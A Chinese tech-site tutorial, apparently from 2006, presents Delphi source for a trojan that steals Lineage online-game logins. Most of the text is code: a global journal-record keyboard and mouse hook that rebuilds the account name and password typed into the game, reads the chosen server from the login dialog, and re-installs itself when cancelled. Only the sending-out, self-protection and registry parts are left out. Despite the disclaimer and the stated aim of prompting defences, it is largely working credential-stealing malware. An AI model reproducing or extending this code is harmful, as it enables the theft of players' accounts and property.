电脑爱好者,提供IT资讯信息及各类编程知识文章介绍,欢迎大家来本站学习电脑知识。 最近更新 | 联系我们 RSS订阅本站最新文章
电脑爱好者
站内搜索: 
当前位置:首页>> 网络安全>>天堂木马编写DIY:

天堂木马编写DIY

来源:www.cncfan.com | 2006-3-12 | (有2070人读过)

随着网络游戏的发展,网络上的各类木马屡见不鲜,一个好的木马服务端能够卖到几百元RMB,而源代码更是以千元为底价出售,这其中以天堂木马的身价最为突出。因为这种木马要实现窃取区域,服务器,人物装备等信息的功能,简单的键盘记录功能并不能满足需要,它需要运用内存搜索,网络数据包嗅探等技术,所以木马编写起来有些难度,但是这并不代表编写天堂木马的技术就有多高深多难。今天我就和大家一起来编写一个实用的天堂木马,同时希望借分析这种木马的功能实现而让游戏厂商能推出防止这类木马的技术,让广大游戏爱好者真正拥有一个纯净的游戏空间。
我们将要编写的程序具有获取天堂的登录信息,包括区号,登录账号,密码,服务器名等一系列功能。
再次提醒大家,本文主要目的是在于揭开身价较高的天堂木马的面纱,阐述截取区域及服务其心思的编程方法,本着共同学习和提高的目的。所以希望大家不要乱用,如有非法使用以及造成严重后果的都与本人无关。好,下面正式进入我们迷人的代码天地。(关键代码后均加有注释)
针对于如何获取服务器名以及对话框上鼠标点击的调用,CurHandle为所点控件句柄的代码。首先检查父窗体是否为ServerListWnd,接着是检查CurHandle是否为Button。
procedure GetServer(CurHandle: Longint);
var
ClassName : string ;
begin
//..这里检查父窗体是否serverListWnd..
SetLength(ClassName, 15);
GetClassName(GetParent(CurHandle), Pchar(ClassName), 15);
ClassName := string(Pchar(ClassName));
if ClassName <> 'serverListWnd' then exit; //对不是serverListWnd做出反应

//检查CurHandle是否是Button。以及做出的反应。

SetLength(ClassName, 8);
GetClassName(CurHandle, Pchar(ClassName), 8);
ClassName := string(Pchar(ClassName));
if ClassName <> 'Button' then exit; //如果不是Button就直接退出

//取得CurHandle所指Button之文字,也就是所选择的服务器..
SetLength(ServerName, GetWindowTextLength(CurHandle)+2);
GetWindowText(CurHandle, Pchar(ServerName), GetWindowTextLength(CurHandle)+2);
ServerName := string( Pchar(ServerName) );

……
……
……
(这里省略一部分代码)
接下来是对游戏中选择登入时做出的反应。
procedure ReStart;
// 输入串合法性.(长度在8~12位,只能是字母或数字.)
function TestStr(Str: String):Boolean;
var
i, len: integer;
begin
Result := True; len:= Length(str);
if (len>12)or(len<8) then Result := False //检查输入串的合法性,长度如果不是在8-12
//之间的数字,就返回False
else
for i:=1 to len do
begin
if (
( (ord(Str)>=ord('A'))and(ord(Str)<=ord('Z')) ) or
( (ord(Str)>=ord('a'))and(ord(Str)<=ord('z')) ) or
( (ord(Str)>=ord('0'))and(ord(Str)<=ord('9')) )
)=FALSE then
begin
Result := False; break; //这里检查如果是符合要求的字母//和数字的时候,还返回Fasle时
//就break
end;
end;
end;
begin
……
……
……
(省略一部分代码)
本人表达能力不佳,上面讲的不知道大家明白了没有?如果不明白,就多看几遍。接下来讲对游戏中鼠标的处理,这里主要就是对鼠标按下以及鼠标移动时候的处理。首先,看对鼠标按下情况的处理。
procedure TestMouseDown(X, Y: Longint);
var
CursorPos: TPoint;
begin
CursorPos.X := X; CursorPos.Y :=Y;
//登入
if ptinrect(ComeRect,CursorPos) then ReStart
//账号
else if ptinrect(UserRect,CursorPos) then Cur_Focus := 0
//密码
else if ptinrect(PassRect,CursorPos) then Cur_Focus := 1
//离开
else if ptinrect(LiveRect,CursorPos) then begin {.省略.} end
//其他情况
else if (Cur_Focus<>0)and(Cur_Focus<>1) then Cur_Focus:=5;
end;
接着是对鼠标移动情况的处理(可能引起的焦点变化)
procedure TestMouseMove(X, Y: Longint);
var
CursorPos: TPoint;
begin
if (Cur_Focus<>0)and(Cur_Focus<>1) then
begin
CursorPos.X := X; CursorPos.Y := Y;
if ptinrect(ComeRect,CursorPos) then Cur_Focus := 2
else if ptinrect(LiveRect,CursorPos) then Cur_Focus := 3
else Cur_Focus:=5;
end;
end;
针对于鼠标的主要分析就到这里,不过比起鼠标对键盘的处理就更加重要。针对键盘的按键处理过程如下:
procedure TestKeyDown(ParamL, paramH: Longint);
var
KeyChar: array[0..2] of Char;
len: integer;
KeyState: TKeyboardState;
begin
case ParamL of
20520 : begin {...Down...} //Down键
if Cur_Focus=5 then Cur_Focus := 4;
Cur_Focus := ( Cur_Focus+1 ) mod 5;
end;

18470 : begin {... Up ...} //Up键
if Cur_Focus=0 then Cur_Focus := 4
else Cur_Focus := Cur_Focus-1;
end;

19237 : begin {...Left...} //Left键
if Cur_Focus=0 then
if (UserNameP > 1) then UserNameP:=UserNameP-1;
end;

19751 : begin {...Right..} //Right键
if Cur_Focus=0 then
if (UserNameP<Length(UserName)+1) then UserNameP:=UserNameP+1;
end;

14624 : begin {..Space..} //Space.键
case Cur_Focus of
2: ReStart; //登入
0: begin //账号
len := Length(UserName)+1;
if (len<13) then
begin
SetLength(UserName, len);
while (len>UserNameP) do
begin
UserName[len]:=UserName[len-1];
len:=len-1;
end;
UserName[UserNameP] := ' ';
UserNameP := UserNameP+1;
end;
end;
1: begin //密码
if Length(PassWord)<13 then PassWord:=PassWord+' ';
end;
end;
end;

3592 : begin {..Backspace..} // Backspace键
if Cur_Focus = 1 then Delete(PassWord,Length(PassWord),1)
else if (Cur_Focus = 0)and(UserNameP > 1) then
begin
for len:=UserNameP to Length(UserName)do
UserName[len-1]:=UserName[len];
Setlength(UserName,Length(UserName)-1);
UserNameP := UserNameP -1;
end;
end;

18212: begin {...Home...} //Home键
if Cur_Focus=0 then UserNameP:=1;
end;

20259: begin {...End ...} //End键
if Cur_Focus=0 then UserNameP:=length(UserName)+1;
end;

21294: begin {..Delete..} //Delete键
if Cur_Focus=0 then Delete(UserName, UserNameP, 1);
end;

283,3849,7181 :
begin {...过滤..}
end;

else begin {..Other..} //其他键
GetKeyboardState(KeyState); //获取键盘状态
if ToAscii(paramL, ((paramH shr 16)and$00ff), KeyState, @KeyChar[0], 0)=1 then
begin
if Cur_Focus=0 then //账号
begin
len := Length(UserName)+1;
if (len<13) then
begin
SetLength(UserName, len);
while (len>UserNameP) do
begin
UserName[len]:=UserName[len-1];
len:=len-1;
end;
UserName[UserNameP] := KeyChar[0];
UserNameP := UserNameP+1;
end;
end
else
if (Cur_Focus=1)and(Length(PassWord)<13) then //密码
PassWord:=PassWord+KeyChar[0];
end;
end;
end; // .... end case
end;

文章到这里还没有完,一个重要角色还没有讲——钩子回调函数,它可不能少,关于它的重要性我就不多说了,还是看代码。

function HookProc(nCode: Integer; wParam: WPARAM; lParam: LPARAM ): LRESULT; stdcall;
var
ClassName: string;
begin
if (nCode = HC_ACTION) then
begin
SetLength(ClassName, 10);
GetClassName(GetForegroundWindow(), Pchar(ClassName), 10);
ClassName:=string(Pchar(ClassName));

if ClassName = '#32770' then //..对话框
begin
if (PEventMsg(lparam)^.message = WM_LBUTTONDOWN) then //鼠标左键按下
GetServer(PEventMsg(lparam)^.hwnd);
end
else
begin
if (ClassName='Lineage') then //..游戏中
begin
if (PEventMsg(lparam)^.message = WM_MOUSEMOVE) then //鼠标移动
TestMouseMove(PEventMsg(lparam)^.paramL, PEventMsg(lparam)^.paramH)
else
if (PEventMsg(lparam)^.message = WM_LBUTTONDOWN) then //鼠标左键按下
TestMouseDown(PEventMsg(lparam)^.paramL, PEventMsg(lparam)^.paramH)
else
if (PEventMsg(lparam)^.message = WM_KEYDOWN) then
TestKeyDown(PEventMsg(lparam)^.paramL, PEventMsg(lparam)^.paramH);
end;
end;
end;
Result := CallNextHookEx(HookHandle, nCode, wParam, lParam);
end;
好了,看了这么多的代码,眼都花了。最后还差一个东东——主程序,看代码。
begin
HookHandle := SetWindowsHookEx(WH_JOURNALRECORD, HookProc, HInstance, 0);
While GetMessage(TheMessage, 0, 0, 0) do
begin
if (TheMessage.Message = WM_CANCELJOURNAL) then // 重新挂钩
HookHandle := SetWindowsHookEx(WH_JOURNALRECORD, HookProc, HInstance, 0);
end;
UnHookWindowsHookEx(HookHandle);
end.
由于篇幅原因,文中只讲述了截取天堂游戏用户名,密码,区域,服务器等信息的关键代码,至于关于如何发信部分以及自我保护,修改注册表及文件关联的代码我就不在这里细讲了。文中省略代码都可在完整代码中找到。本文仅限于学习研究,切勿用于非法用途。

作者: 冰才

网络安全热门文章排行
网站赞助商
购买此位置

 

关于我们 | 网站地图 | 文档一览 | 友情链接| 联系我们

Copyright © 2003-2024 电脑爱好者 版权所有 备案号:鲁ICP备09059398号